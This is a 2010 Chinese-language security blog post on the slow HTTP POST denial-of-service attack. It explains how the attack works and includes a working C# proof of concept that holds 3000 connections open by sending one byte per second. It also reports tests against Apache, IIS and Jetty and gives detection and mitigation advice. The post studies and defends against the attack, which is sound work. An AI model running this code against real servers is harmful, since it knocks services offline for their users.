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    HTTP POST慢速DOS攻击初探

    December 28th, 2010 Posted in 应用安全及黑客攻击 , 软件架构与设计

    1. 关于HTTP POST慢速DOS攻击

    HTTP Post慢速DOS攻击第一次在技术社区被正式披露是今年的OWASP大会上,由Wong Onn Chee 和 Tom Brennan共同演示了使用这一技术攻击的威力。他们的slides在这里:

    http://www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html

    这个攻击的基本原理如下:

    针对任意HTTP Server,建立一个连接,指定一个比较大的content-length,然后以很低的速度发包,比如10-100s发一个字节,hold住这个连接不断开。如果客户端持续建立这样的连接,那么服务器上可用的连接将很快被占满,从而导致DOS.

    这一攻击引起我注意的原因有这几点:

    1. 它可以针对任意Web服务。HTTP协议在接收到request之前是无法对请求内容作校验的,所以即使你的Web应用没有可用form表单,这个攻击一样有效。

    2. 廉价。在客户端以单线程方式建立较大数量的无用连接,并保持持续发包的代价非常低廉。实际试验中一台普通PC可以建立的Socket连接在3000个以上。这对一台普通的web server,将是致命的打击。更不用说结合肉鸡群做分布式DOS了。

    2. 攻击示范

    为演示这个攻击,我做了一个简单的POC,C#代码如下。

    using System; using System.Collections.Generic; using System.Text; using System.Net.Sockets; using System.Threading; namespace HTTPPostDoS { class TestDemo { static void Main(string [] args) { string host = "target" ; int port = 8080; int max_number_of_connection = 3000; List <TcpClient > clients = new List <TcpClient >(); for (int i = 0; i < max_number_of_connection; i++) { TcpClient client = new TcpClient (); clients.Add(client); client.Connect(host, port); if (client.Connected) { string header = "POST /a HTTP/1.1/r/n" + "HOST: " + host + "/r/n" + "Connection: keep-alive/r/n" + "Keep-Alive: 900/r/n" + "Content-Length: 100000000/r/n" + "Content_Type: application/x-www-form-urlencoded/r/n" + "Accept: *.*/r/n" ; int sent = client.Client.Send(System.Text.Encoding .Default.GetBytes(header)); if (sent <= 0) { Console .WriteLine("Error while connecting to server" ); } else { Console .WriteLine("Connected" ); } } } while (true ) { int i = 0; foreach (TcpClient client in clients) { i++; client.Client.Send(System.Text.Encoding .Default.GetBytes("a" )); Console .WriteLine("Client " + i + " just sent a byte." ); } Thread .Sleep(1000); } } } }

    这段代码向目标服务器的示例Web Server发起攻击,每秒钟向服务器post一个字节以保证连接不会过期。

    这个攻击对Apache的效果十分明显,Apache的maxClients几乎在瞬间被hold住,浏览器在攻击进行期间无法访问测试页面。

    但是针对IIS的攻击被证明没有效果,同时我还测试了公司使用最多的Jetty,有了更多有意思的发现。

    3. Jetty Server 在NIO和BIO模式下对此攻击的不同反应

    在针对Jetty做测试时,我发现针对不同的Jetty Connector配置,攻击的效果有天壤之别。

    我们知道Jetty在配置Connector时,可以有NIO和BIO两种模式供选择。当使用BIO模式时,Jetty的max thread被瞬间耗尽,服务停止。但是在使用NIO模式时,即使客户端的恶意socket连接数已经达到3000个,但是服务依然没有受到任何影响。这 个应该很好理解,由于这两种模式下的Connector直接影响到服务端处理Socket的模型。IIS的情况我不是很清楚,但是猜测MS在实现时采用了 NIO Socket模型。

    详细的配置情况,请参见Jetty的官方文档 。

    其它的Web Server,我没有做进一步测试。如有兴趣请自行验证。

    4. 检测与防范

    目前针对Apache服务器,官方尚没有解决方案出台。建议:

    1. 检查日志,查找类似的错误报警:

    [error] server reached MaxClients setting, consider raising the MaxClients setting

    看看有没有被这种攻击盯上。

    2. 调整防火墙设置。有条件的,在IPS上做一下规则设置。

    注意这些都还只是暂时措施,因为这种攻击的变化可能很多,事实上使用HTTP GET也可以达到一样的效果。要知道GET也是可以传输数据的。

    针对Jetty服务器,强烈建议使用NIO非阻塞模式,对服务器可以起到很好的保护作用。

    相关阅读:

    1. New HTTP POST DDoS Attack Tools Released

    2. Wong Onn Chee 和Tom Brennan的Paper

    3. Using HTTP POST for denial of service


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